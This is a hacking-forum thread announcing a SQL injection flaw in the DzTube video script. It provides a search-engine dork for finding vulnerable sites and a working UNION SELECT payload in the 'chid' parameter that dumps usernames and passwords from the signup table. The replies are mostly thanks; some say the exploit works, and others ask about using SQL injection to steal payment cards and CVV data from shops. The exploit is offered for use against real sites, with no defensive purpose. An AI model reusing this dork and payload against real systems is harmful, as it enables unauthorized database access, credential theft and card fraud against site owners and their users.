DzTube SQL Injection Vulnerability

[cunlestic]

DzTube SQL Injection Vulnerability
Discovered: ErrNick
Site: xaknet.ru
Date: 28/12/2010
Vendor: n/a
d0rK: inurl:"channel_detail.php?chid="

Exploit: host.com/channel_detail.php?chid=[SQL]

Demo:
http://site/channel_detail.php?chid=-51+union+select+1,username,pwd,4,5,6,7,8,9,0,1,2,3 ,4,5,6+from+signup

[soldat16]

thxxxxxxxxxxxxxxxxxxxxx

[brettfavre]

thank you keep goin:)

[halat]

keep this one

[rayxhunt10]

Thaaaaaaanks

[ledell]

Thanks! I love sqli have you ever used it to get cards?

[ItzYoshii]

THANK you :D

[Salamanders]

ok, now this is the best ive seeen so for mann !

[slavoxm]

thxx man It's reaaly good

[truelarcener]

thanks man great work

[mixnovich]

thnxxxxxxx

[pascall2222]

Thanks dear

[bruseadams]

why not sql ijection for getting shop admin with cv2 in them ... you suck

[sankato85]

thanks very much

[shangotekel]

thanxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

[esta]

thanks for dork , will give it a run

[meknes]

good post.thanks

[harris01]

great work bro like that

[Gembel X-Secutive]

Thanks Brother
Keep Share!
http://www.freeworldnow.com/boy%20kisses%20Koran.jpg

[hackim]

thanks mate.
its awesome.keep it coming.

[hackim]

thanks so much for the nice post.

[whathecoke]

love !! good job !!

[cachua_0]

Why Error 404 - Not Found?

[12ksawaya]

thank youuuuuuu

[premdhar]

thanx man it works

[thobias]

thanks man

[antitos]

search another bro ;)

[Zibna3ameh]

Old one, thank though